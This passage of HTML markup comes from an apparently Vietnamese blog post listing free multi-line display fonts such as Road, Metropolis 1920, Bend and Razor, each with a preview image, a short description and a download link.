url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAOABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQCAwX/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEAMQAAAByWF5LUAf/8QAGRAAAgMBAAAAAAAAAAAAAAAAAREAAhAT/9oACAEBAAEFAqhzmMBUN3n/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAXEAEAAwAAAAAAAAAAAAAAAAAQACEx/9oACAEBAAY/ApZj/8QAGxABAQACAwEAAAAAAAAAAAAAAREAECExYYH/2gAIAQEAAT8hseL9yAo6970YSG4wknE1/9oADAMBAAIAAwAAABCPP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8QP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8QP//EABwQAQEAAQUBAAAAAAAAAAAAAAERABAhMUFhgf/aAAgBAQABPxAbIB4ymJNb9CdaILat3kPMBAAhHrT/2Q=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Road Free Font" title="Road Free Font" src="/static/823089e1d2a7970e560f3a31dd8248e3/5ab81/20-multi-lines-fonts-road-free-font.jpg" srcset="/static/823089e1d2a7970e560f3a31dd8248e3/e4e7a/20-multi-lines-fonts-road-free-font.jpg 165w, /static/823089e1d2a7970e560f3a31dd8248e3/4f5c6/20-multi-lines-fonts-road-free-font.jpg 330w, /static/823089e1d2a7970e560f3a31dd8248e3/5ab81/20-multi-lines-fonts-road-free-font.jpg 660w, /static/823089e1d2a7970e560f3a31dd8248e3/7efee/20-multi-lines-fonts-road-free-font.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Road là một kiểu chữ tải xuống miễn phí với phong cách cổ điển, thiết kế bởi Patrick Seymour - một giám đốc nghệ thuật và người thiết kế font chữ.</p> <a href="https://www.hellofont.com/vfonts/350" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="plento-free-typeface" style="position:relative;"><a href="#plento-free-typeface" aria-label="plento free typeface permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Plento Free Typeface</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 52.121212121212125%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAKABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAQCBf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAHlakJSmH//xAAWEAADAAAAAAAAAAAAAAAAAAAAICH/2gAIAQEAAQUCIv8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFBABAAAAAAAAAAAAAAAAAAAAIP/aAAgBAQAGPwJf/8QAGBAAAwEBAAAAAAAAAAAAAAAAAAFRESD/2gAIAQEAAT8hTVNs1Xj/2gAMAwEAAgADAAAAEDjv/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQMBAT8QiP/EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8QP//EABkQAAMBAQEAAAAAAAAAAAAAAAABEVFhIf/aAAgBAQABPxC/1kuDlLZwFelesr1n/9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Plento Free Typeface" title="Plento Free Typeface" src="/static/537a7460b7f3733dcea255c2b875571e/5ab81/20-multi-lines-fonts-plento-free-typeface.jpg" srcset="/static/537a7460b7f3733dcea255c2b875571e/e4e7a/20-multi-lines-fonts-plento-free-typeface.jpg 165w, /static/537a7460b7f3733dcea255c2b875571e/4f5c6/20-multi-lines-fonts-plento-free-typeface.jpg 330w, /static/537a7460b7f3733dcea255c2b875571e/5ab81/20-multi-lines-fonts-plento-free-typeface.jpg 660w, /static/537a7460b7f3733dcea255c2b875571e/7efee/20-multi-lines-fonts-plento-free-typeface.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Plento là một phông chữ hiển thị dạng không gian được sắp xếp gọn gàng và hình học. Plenty rất hữu ích cho biểu trưng, ​​tiêu đề, trang phục, bìa album,...</p> <a href="https://freedesignresources.net/plento-free-typeface/" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="metropolis-1920" style="position:relative;"><a href="#metropolis-1920" aria-label="metropolis 1920 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Metropolis 1920</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 58.78787878787879%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAMABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFAv/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAGcxN3K0Tw//8QAGxABAAICAwAAAAAAAAAAAAAAAQACAxIREzH/2gAIAQEAAQUCxnLqB2VJVmyx9//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABcQAAMBAAAAAAAAAAAAAAAAAAEQICH/2gAIAQEABj8CjSv/xAAYEAEBAQEBAAAAAAAAAAAAAAABABExQf/aAAgBAQABPyEzH2d6VZIOlxpl0v/aAAwDAQACAAMAAAAQcx//xAAWEQEBAQAAAAAAAAAAAAAAAAAAARH/2gAIAQMBAT8Qka//xAAWEQEBAQAAAAAAAAAAAAAAAAABABH/2gAIAQIBAT8QVsv/xAAbEAEAAwEAAwAAAAAAAAAAAAABABEhMUFRof/aAAgBAQABPxCyevI7GaUR29JkHyDURDsujHpca2K7P//Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Metropolis 1920" title="Metropolis 1920" src="/static/735d3b0f2f5d1e7cfa6fc0f4e40fe1ce/5ab81/20-multi-lines-fonts-metropolis-1920.jpg" srcset="/static/735d3b0f2f5d1e7cfa6fc0f4e40fe1ce/e4e7a/20-multi-lines-fonts-metropolis-1920.jpg 165w, /static/735d3b0f2f5d1e7cfa6fc0f4e40fe1ce/4f5c6/20-multi-lines-fonts-metropolis-1920.jpg 330w, /static/735d3b0f2f5d1e7cfa6fc0f4e40fe1ce/5ab81/20-multi-lines-fonts-metropolis-1920.jpg 660w, /static/735d3b0f2f5d1e7cfa6fc0f4e40fe1ce/7efee/20-multi-lines-fonts-metropolis-1920.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Một phông chữ lấy cảm hứng từ phong trào công nghiệp của những năm 1920. Metropolis 1920 xuất phát từ phong trào công nghiệp của những năm 1920, nơi những tòa nhà chọc trời sinh ra.</p> <p>Sử dụng kỹ thuật đường đôi, nhà thiết kế muốn tạo ra phông chữ theo phong cách <strong>Art Deco</strong> của riêng mình đại diện cho thời đại này.</p> <p>Kết quả là một kiểu chữ đậm, sắc nét với một bố cục chắc chắn.</p> <a href="https://www.behance.net/gallery/3244285/Metropolis-1920" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="lines-free-font" style="position:relative;"><a href="#lines-free-font" aria-label="lines free font permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lines Free Font</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 70.30303030303031%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAOABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAEEA//EABUBAQEAAAAAAAAAAAAAAAAAAAEC/9oADAMBAAIQAxAAAAGehtqc2Kf/xAAZEAACAwEAAAAAAAAAAAAAAAAAAQISIRH/2gAIAQEAAQUClDarjaRTXEoj/8QAFhEBAQEAAAAAAAAAAAAAAAAAAAER/9oACAEDAQE/AWx//8QAFhEAAwAAAAAAAAAAAAAAAAAAARAS/9oACAECAQE/ATS//8QAGBAAAgMAAAAAAAAAAAAAAAAAAAEgIVH/2gAIAQEABj8Cpmx//8QAGhABAAIDAQAAAAAAAAAAAAAAAQAREDFBcf/aAAgBAQABPyHgT2HaIi1JENmWaaxf/9oADAMBAAIAAwAAABDPP//EABcRAQEBAQAAAAAAAAAAAAAAAAEAMVH/2gAIAQMBAT8QXJ43/8QAFxEBAQEBAAAAAAAAAAAAAAAAAQARIf/aAAgBAgEBPxArgxuX/8QAHBABAAMAAgMAAAAAAAAAAAAAAQARITFBUWFx/9oACAEBAAE/EELC1p1gjQDNoifV6YXZ4pOmUaX5hRuvln//2Q=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Lines Free Font" title="Lines Free Font" src="/static/1ecd750e3d8ed24e4d89b967c7d32daa/5ab81/20-multi-lines-fonts-lines-free-font.jpg" srcset="/static/1ecd750e3d8ed24e4d89b967c7d32daa/e4e7a/20-multi-lines-fonts-lines-free-font.jpg 165w, /static/1ecd750e3d8ed24e4d89b967c7d32daa/4f5c6/20-multi-lines-fonts-lines-free-font.jpg 330w, /static/1ecd750e3d8ed24e4d89b967c7d32daa/5ab81/20-multi-lines-fonts-lines-free-font.jpg 660w, /static/1ecd750e3d8ed24e4d89b967c7d32daa/7efee/20-multi-lines-fonts-lines-free-font.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Lines là phông chữ mới của FGD được tạo ra bởi Marcelo Reis Melo, một phông chữ hiện đại siêu sang trọng với ký tự tiếng Anh Thụy Điển và Đức. Có sẵn trong OTF, TTF và Webfont.</p> <p>Mình hy vọng bạn đánh giá cao dự án này và tạo ra những thứ tuyệt vời với những kí tự này, hãy chia sẻ nếu bạn thích nó.</p> <a href="https://www.behance.net/gallery/35541461/LINES-FREE-FONT" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="geom-display-typeface-free" style="position:relative;"><a href="#geom-display-typeface-free" aria-label="geom display typeface free permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Geom Display Typeface: Free</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAECBAX/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAGdLcQwD//EABsQAAIBBQAAAAAAAAAAAAAAAAECEAADBBES/9oACAEBAAEFAspiAtxo0DXKx//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABsQAAEEAwAAAAAAAAAAAAAAAAEAAhARITEy/9oACAEBAAY/Am0aXRjK0I//xAAdEAABBAIDAAAAAAAAAAAAAAABABARQSExUXHx/9oACAEBAAE/IZkcjoqQOYW1AD2vKb//2gAMAwEAAgADAAAAENPP/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPxA//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPxA//8QAGxABAAMBAAMAAAAAAAAAAAAAAQARITEQQYH/2gAIAQEAAT8QT7uzC8Jqn9S9Mj2OUU5S4Bofz4//2Q=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Geom Display Typeface: Free" title="Geom Display Typeface: Free" src="/static/398cda06c79381a63ad3cd2d2fd5f73e/5ab81/20-multi-lines-fonts-geom-display-typeface-free.jpg" srcset="/static/398cda06c79381a63ad3cd2d2fd5f73e/e4e7a/20-multi-lines-fonts-geom-display-typeface-free.jpg 165w, /static/398cda06c79381a63ad3cd2d2fd5f73e/4f5c6/20-multi-lines-fonts-geom-display-typeface-free.jpg 330w, /static/398cda06c79381a63ad3cd2d2fd5f73e/5ab81/20-multi-lines-fonts-geom-display-typeface-free.jpg 660w, /static/398cda06c79381a63ad3cd2d2fd5f73e/7efee/20-multi-lines-fonts-geom-display-typeface-free.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>GEOM là kiểu hiển thị vector lấy cảm hứng từ các dạng và lưới hình học cơ bản. Font chữ này là miễn phí sử dụng công việc cá nhân và thương mại.</p> <p>Được thiết kế bởi Danilo Gusmão Silveira.</p> <a href="https://www.behance.net/gallery/25507411/GEOM-Display-Typeface-Free" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="quarz-974" style="position:relative;"><a href="#quarz-974" aria-label="quarz 974 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Quarz 974</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 86.66666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAARABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAMFBv/EABYBAQEBAAAAAAAAAAAAAAAAAAIBA//aAAwDAQACEAMQAAABvXFtk9tzqlMSkEP/xAAcEAACAgIDAAAAAAAAAAAAAAAAAQIRAzESEyL/2gAIAQEAAQUChmRLN4U1UbL4nY0Lctn/xAAVEQEBAAAAAAAAAAAAAAAAAAABEP/aAAgBAwEBPwFjP//EABcRAAMBAAAAAAAAAAAAAAAAAAABEhD/2gAIAQIBAT8Bkliz/8QAFxAAAwEAAAAAAAAAAAAAAAAAAREgAP/aAAgBAQAGPwLFQgY//8QAHBAAAwACAwEAAAAAAAAAAAAAAAERITFBYXGx/9oACAEBAAE/IZCDd0iJngYNmzBvwNdm7w+Iz//aAAwDAQACAAMAAAAQWz8C/8QAGBEAAgMAAAAAAAAAAAAAAAAAAAEQESH/2gAIAQMBAT8QfS1P/8QAGBEAAwEBAAAAAAAAAAAAAAAAAAExEGH/2gAIAQIBAT8QSqHYrP/EABsQAAMAAwEBAAAAAAAAAAAAAAABESExQRBx/9oACAEBAAE/EElsTKitiMttxkQdWZwhnl9TGxI6aeTr+Dc//9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Quarz 974" title="Quarz 974" src="/static/81de6ef3d218367369c2892e8c6a91d5/5ab81/20-multi-lines-fonts-quarz-974.jpg" srcset="/static/81de6ef3d218367369c2892e8c6a91d5/e4e7a/20-multi-lines-fonts-quarz-974.jpg 165w, /static/81de6ef3d218367369c2892e8c6a91d5/4f5c6/20-multi-lines-fonts-quarz-974.jpg 330w, /static/81de6ef3d218367369c2892e8c6a91d5/5ab81/20-multi-lines-fonts-quarz-974.jpg 660w, /static/81de6ef3d218367369c2892e8c6a91d5/7efee/20-multi-lines-fonts-quarz-974.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Quartz 974 là một kiểu phông chữ lấy cảm hứng từ các đường đơn giản và hình học như hình tam giác. Nó rất thích hợp cho tiêu đề, logo, áp phích. Đó là lý do tại sao font chữ này chỉ bao gồm chữ viết hoa và số.</p> <a href="https://www.hellofont.com/fonts/472" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="bend-typeface" style="position:relative;"><a href="#bend-typeface" aria-label="bend typeface permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bend Typeface</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 45.45454545454545%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAJABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAMCBf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAezO+gD/xAAYEAEAAwEAAAAAAAAAAAAAAAABAAIQI//aAAgBAQABBQK6k6OO/wD/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAYEAACAwAAAAAAAAAAAAAAAAABEQAgMf/aAAgBAQAGPwIIOaq//8QAGxAAAgEFAAAAAAAAAAAAAAAAEBEAASExQaH/2gAIAQEAAT8h26ciTYGVD//aAAwDAQACAAMAAAAQQA//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/ED//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/ED//xAAcEAEBAAICAwAAAAAAAAAAAAABEQAQIUFhcbH/2gAIAQEAAT8QmKmi+nGc4GIyR83X0Z0a/9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Bend Typeface free" title="Bend Typeface free" src="/static/e6a2e630d5fcac0e19d6503c68dd52a7/5ab81/20-multi-lines-fonts-bend-typeface.jpg" srcset="/static/e6a2e630d5fcac0e19d6503c68dd52a7/e4e7a/20-multi-lines-fonts-bend-typeface.jpg 165w, /static/e6a2e630d5fcac0e19d6503c68dd52a7/4f5c6/20-multi-lines-fonts-bend-typeface.jpg 330w, /static/e6a2e630d5fcac0e19d6503c68dd52a7/5ab81/20-multi-lines-fonts-bend-typeface.jpg 660w, /static/e6a2e630d5fcac0e19d6503c68dd52a7/7efee/20-multi-lines-fonts-bend-typeface.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Bend là font chữ thuộc họ <strong>ribbon hiện đại</strong>. Không giống như hầu hết các kiểu chữ của thể loại đó, Bend là sans serif. Đó là góc nhìn từ trên xuống và các đường sọc đặc trưng tạo ra ảo giác thanh lịch về thể tích.</p> <p>Một tính năng nổi bật của Bend là đường cơ sở tăng dần. Chỉ cần xoay phần tử văn bản 14 độ sẽ cho thấy hiệu ứng 3D và toàn bộ tiềm năng của Bend.</p> <p>Bend có ba lớp khác nhau cho kết quả màu sắc khác nhau. Và là một kiểu chữ hiển thị, Bend thích được đặt ở kích thước lớn và câu ngắn.</p> <a href="https://www.behance.net/gallery/18734261/Bend-Typeface-free-font" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="razor-free-font" style="position:relative;"><a href="#razor-free-font" aria-label="razor free font permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Razor Free Font</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 70.30303030303031%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAOABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAIDBf/EABUBAQEAAAAAAAAAAAAAAAAAAAEC/9oADAMBAAIQAxAAAAHlXkbkEf/EABkQAQADAQEAAAAAAAAAAAAAAAEAAhASE//aAAgBAQABBQKtep54KRsuf//EABYRAQEBAAAAAAAAAAAAAAAAABECEP/aAAgBAwEBPwFkz//EABURAQEAAAAAAAAAAAAAAAAAABAh/9oACAECAQE/AYf/xAAUEAEAAAAAAAAAAAAAAAAAAAAg/9oACAEBAAY/Al//xAAaEAACAgMAAAAAAAAAAAAAAAAAARAxEVFx/9oACAEBAAE/IX8Ge4pGMLj/2gAMAwEAAgADAAAAEF/P/8QAFxEBAAMAAAAAAAAAAAAAAAAAARARIf/aAAgBAwEBPxACqbH/xAAXEQEAAwAAAAAAAAAAAAAAAAABEBEh/9oACAECAQE/EBpsf//EABsQAQEAAwADAAAAAAAAAAAAAAERACExEEFR/9oACAEBAAE/EEqHcW49zSDJvEij6wFJD3KCg+D4/9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Razor Free Font" title="Razor Free Font" src="/static/54b89c933b7daf362c078e50995a081c/5ab81/20-multi-lines-fonts-razor-free-font.jpg" srcset="/static/54b89c933b7daf362c078e50995a081c/e4e7a/20-multi-lines-fonts-razor-free-font.jpg 165w, /static/54b89c933b7daf362c078e50995a081c/4f5c6/20-multi-lines-fonts-razor-free-font.jpg 330w, /static/54b89c933b7daf362c078e50995a081c/5ab81/20-multi-lines-fonts-razor-free-font.jpg 660w, /static/54b89c933b7daf362c078e50995a081c/7efee/20-multi-lines-fonts-razor-free-font.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Razor đưa bạn trở lại Miami vào những năm 1980. Hãy nghĩ về flamengo màu hồng, giai điệu DeLorean bằng thép không gỉ... Các ký tự nhiều hàng mỏng hoạt động tốt khi được in ở kích thước lớn hơn một chút.</p> <a href="https://www.behance.net/gallery/5836021/Razor-Free-Font" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="lovelo-inline-font" style="position:relative;"><a 